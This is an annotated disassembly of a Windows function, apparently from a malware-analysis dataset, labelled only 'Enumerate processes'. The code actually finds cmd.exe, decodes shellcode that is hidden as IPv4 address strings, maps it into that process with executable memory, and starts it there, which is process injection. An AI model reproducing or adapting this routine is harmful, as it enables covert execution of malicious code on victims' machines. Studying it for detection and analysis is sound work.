Function at 0x140001310
Capabilities:
Enumerate processes

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x5f0]
sub rsp, 0x6f0
xor r15d, r15d
mov qword [rbp - 0x70], 0x238
xor edx, edx
mov qword [rbp + 0x638], r15
mov r8d, 0x20c
mov dword [rbp - 0x68], r15d
lea rcx, [rbp - 0x44]
mov qword [rbp - 0x60], r15
mov r14d, r15d
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], r15
mov dword [rbp - 0x48], r15d
call fcn.1400016c0
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140001449
lea rdx, [rbp - 0x70]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140001444
lea r12, str.cmd.exe
lea rcx, [rbp - 0x44]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
lea rdi, [rbp + 0x1d0]
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
cmp ebx, 0x208
jae 0x1400013e2
mov eax, r15d
test ebx, ebx
je 0x1400013d9
mov r8d, ebx
lea rdx, [rbp - 0x44]
add r8, r8
lea rcx, [rbp + 0x1d0]
call fcn.140001690
mov eax, ebx
mov word [rbp + rax*2 + 0x1d0], r15w
mov rax, r15
lea rdx, [rbp + 0x1d0]
nop dword [rax]
movzx ecx, word [rdx + rax*2]
inc rax
cmp cx, word [r12 + rax*2 - 2]
jne 0x140001430
cmp rax, 8
jne 0x1400013f0
mov r14d, dword [rbp - 0x68]
lea r9, [rsp + 0x70]
lea r8, [0x140003228]
mov qword [rsp + 0x70], r14
mov edx, 0x1fffff
mov qword [rsp + 0x78], r15
lea rcx, [rbp + 0x638]
call fcn.140001871
lea rdx, [rbp - 0x70]
mov rcx, rsi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140001396
test rsi, rsi
je 0x140001452
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14d, r14d
je 0x140001678
cmp qword [rbp + 0x638], r15
je 0x140001678
lea rcx, str.NTDLL
mov qword [rbp - 0x80], r15
mov rbx, r15
mov rdi, r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlIpv4StringToAddressA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
test rax, rax
je 0x140001505
mov qword [rsp + 0x6e8], r13
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8d, 0x114
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r13, rax
test rax, rax
je 0x1400014fd
mov esi, r15d
mov r14, rax
lea r15, section..data
nop dword [rax + rax]
mov rcx, qword [r15]
lea r8, [rbp - 0x80]
mov r9, r14
xor edx, edx
call r12
test eax, eax
jne 0x1400014fa
add r14, 4
inc esi
add r15, 8
cmp esi, 0x45
jb 0x1400014d0
mov rbx, r13
mov edi, 0x114
xor r15d, r15d
mov r13, qword [rsp + 0x6e8]
mov rsi, qword [rbp + 0x638]
lea r9, [rbp + 0x640]
mov qword [rsp + 0x30], r15
lea rcx, [rbp + 0x630]
mov dword [rsp + 0x28], 0x8000000
xor r8d, r8d
mov edx, 0xf001f
mov dword [rsp + 0x20], 0x40
mov qword [rbp + 0x630], r15
mov qword [rsp + 0x70], r15
mov qword [rbp + 0x648], r15
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x60], r15
mov dword [rbp + 0x640], edi
mov dword [rbp + 0x644], r15d
call fcn.1400016f0
test eax, eax
jne 0x140001678
mov rcx, qword [rbp + 0x630]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x48], 4
lea r8, [rbp + 0x648]
mov dword [rsp + 0x40], r15d
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r15
lea rdx, [r9 - 1]
mov qword [rsp + 0x20], r15
call fcn.14000173d
test eax, eax
jne 0x140001678
mov rcx, qword [rbp + 0x648]
test rdi, rdi
je 0x1400015e3
nop word [rax + rax]
movzx eax, byte [rbx]
lea rbx, [rbx + 1]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdi, 1
jne 0x1400015d0
mov rcx, qword [rbp + 0x630]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x48], 0x40
lea r8, [rsp + 0x68]
mov dword [rsp + 0x40], r15d
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov rdx, rsi
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
call fcn.14000173d
test eax, eax
jne 0x140001678
mov rax, qword [rsp + 0x68]
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x50], r15
mov r9, rsi
mov qword [rsp + 0x48], r15
xor r8d, r8d
mov qword [rsp + 0x40], r15
mov edx, 0x1fffff
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rax
call fcn.140001824
test eax, eax
jne 0x140001678
mov rcx, qword [rbp + 0x630]
call fcn.1400017d7
test eax, eax
je 0x14000167d
mov eax, 0xffffffff
add rsp, 0x6f0
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret